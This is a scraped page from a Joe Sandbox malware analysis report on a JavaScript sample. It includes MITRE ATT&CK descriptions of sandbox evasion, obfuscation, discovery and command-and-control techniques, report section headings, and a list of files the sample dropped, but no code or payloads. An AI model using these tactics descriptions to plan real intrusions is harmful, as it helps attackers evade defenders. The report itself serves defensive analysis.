Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2279239302728123306.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\db4233f6-0263-4cee-979f-d39328a1d002.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5436

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5436

Windows Analysis Report
2279239302728123306.js